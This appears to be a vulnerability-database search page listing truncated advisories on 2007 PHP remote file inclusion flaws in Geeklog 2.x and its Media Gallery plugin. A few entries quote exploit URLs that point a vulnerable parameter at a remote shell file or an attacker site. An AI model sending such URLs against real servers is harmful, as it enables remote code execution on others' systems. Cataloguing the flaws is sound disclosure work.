362 matches found
CVE-2007-2793
PHP remote file inclusion vulnerability in ImageImageMagick.php in Geeklog 2.x allows remote attackers to execute arbitrary PHP code via a URL in the glConfpathsystem parameter...
geeklog2-rfi.txt
-------------------------------- 05/18/2007 --------------------------------- GeekLog 2. ImageImageMagick.php RFI Vuln ----------------------------------- ASCII ----------------------------------- / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / -dsd863 at yahoo.com-...
Geeklog ImageImageMagick.PHP远程文件包含漏洞
Geeklog是一款基于PHP的WEB应用程序。 Geeklog不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'ImageImageMagick.php'脚本对用户提交的'glConfpathsystem'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Geeklog 2.x 目前没有解决方案提供： http://www.geeklog.net/...
GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability
No description provided by source. -------------------------------- 05/18/2007 --------------------------------- GeekLog 2. ImageImageMagick.php RFI Vuln ----------------------------------- ASCII ----------------------------------- / / / /  ...
GeekLog 2.x - ImageImageMagick.php Remote File Inclusion
GeekLog 2.x - ImageImageMagick.php Remote File Inclusion -------------------------------- 05/18/2007 --------------------------------- GeekLog 2. ImageImageMagick.php RFI Vuln ----------------------------------- ASCII ----------------------------------- / / / / / / / / / / / / / / / / / / / / / /...
GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ==================================================================== GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability ==================================================================== --------------------------------...
GeekLog 2.x - 'ImageImageMagick.php' Remote File Inclusion
-------------------------------- 05/18/2007 --------------------------------- GeekLog 2. ImageImageMagick.php RFI Vuln ----------------------------------- ASCII ----------------------------------- / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / -dsd863 at yahoo.com-...
Remote file inclusion
PHP remote file inclusion vulnerability in maint/ftpmedia.php in Media Gallery 1.4.8a and earlier for Geeklog allows remote attackers to execute arbitrary PHP code via a URL in the MGCONFpathhtml parameter...
CVE-2007-2706
CVE-2007-2706 affects Geeklog’s Media Gallery (version 1.4.8a and earlier). The vulnerability is a PHP remote file inclusion in maint/ftpmedia.php that allows an attacker to execute arbitrary PHP code through a URL in the _MG_CONF[path_html] parameter. Root cause is a remote file inclusion flaw i...
Media Gallery for Geeklog <= 1.4.8a Remote File Inclusion Vulnerability
No description provided by source. Media Gallery =v1.4 Remote file inclusion Download script : http://switch.dl.sourceforge.net/sourceforge/mediagallery/mediagallery-1.4.6-1.3.11.tar.gz Thanks Str0ke Exploit : http://victime.com/mediagallery/publichtml/maint/ftpmedia.php?MGCONFpathhtml= shell.txt...
Media Gallery for Geeklog 1.4.8a - Remote File Inclusion
Media Gallery for Geeklog 1.4.8a - Remote File Inclusion Media Gallery =v1.4 Remote file inclusion Download script : http://switch.dl.sourceforge.net/sourceforge/mediagallery/mediagallery-1.4.6-1.3.11.tar.gz Thanks Str0ke Exploit :...
Geeklog远程文件包含漏洞
Geeklog是一款基于PHP的WEB应用程序。 Geeklog不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'glConfpathlibraries'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Geeklog 2.0 目前没有解决方案提供： http://geeklog.sourceforge.net/ http://www.example.com/path/Geeklog/MVCnPHP/BaseView.php?glConfpathlibraries=attacker site...
Remote file inclusion
PHP remote file inclusion vulnerability in MVCnPHP/BaseView.php in GeekLog 2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the glConfpathlibraries parameter. NOTE: this might be a vulnerability in MVCnPHP rather than a vulnerability in GeekLog...
CVE-2007-0810
PHP remote file inclusion vulnerability in MVCnPHP/BaseView.php in GeekLog 2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the glConfpathlibraries parameter. NOTE: this might be a vulnerability in MVCnPHP rather than a vulnerability in GeekLog...
CVE-2007-0810
PHP remote file inclusion vulnerability in MVCnPHP/BaseView.php in GeekLog 2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the glConfpathlibraries parameter. NOTE: this might be a vulnerability in MVCnPHP rather than a vulnerability in GeekLog...
CVE-2007-0810
CVE-2007-0810 describes a PHP remote file inclusion in GeekLog 2 and earlier via glConf[path_libraries] in MVCnPHP/BaseView.php, allowing remote execution of PHP code by supplying a URL. The vulnerability’s root cause is a file inclusion flaw that can process an attacker-supplied URL, with impact...
GeekLog <= 2. (BaseView.php) Remote File Include Vulnerabilities
Flip-2.01-final 1.0 = Remote File Include Vulnerability Discovered by GolDMMahmnoodali & & Contact: [email protected] URL: http://releases.smallaxesolutions.com/flip-2.01.zip V.CODE: In : path/previewtheme.php include$incpath . "options.php"; include$incpath . "head.php"; Exploit:...
GeekLog <= 2. (BaseView.php) Remote File Include Vulnerabilities
GeekLog = 2. BaseView.php Remote File Include Vulnerabilities Discovered by GolDMMahmnoodali & & Contact: [email protected] URL: http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz V.CODE: In : path/system/libraries/Geeklog/MVCnPHP/BaseView.php require $glConf'pathlibraries'...
Geeklog <= 2.0 BaseView.php glConf Parameter Remote File Inclusion
Binary data 3900.prm...
geeklog-rfi.txt
GeekLog = 2. BaseView.php Remote File Include Vulnerabilities Discovered by GolDMMahmnoodali & & Contact: [email protected] URL: http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz V.CODE: In : path/system/libraries/Geeklog/MVCnPHP/BaseView.php require $glConf'pathlibraries'...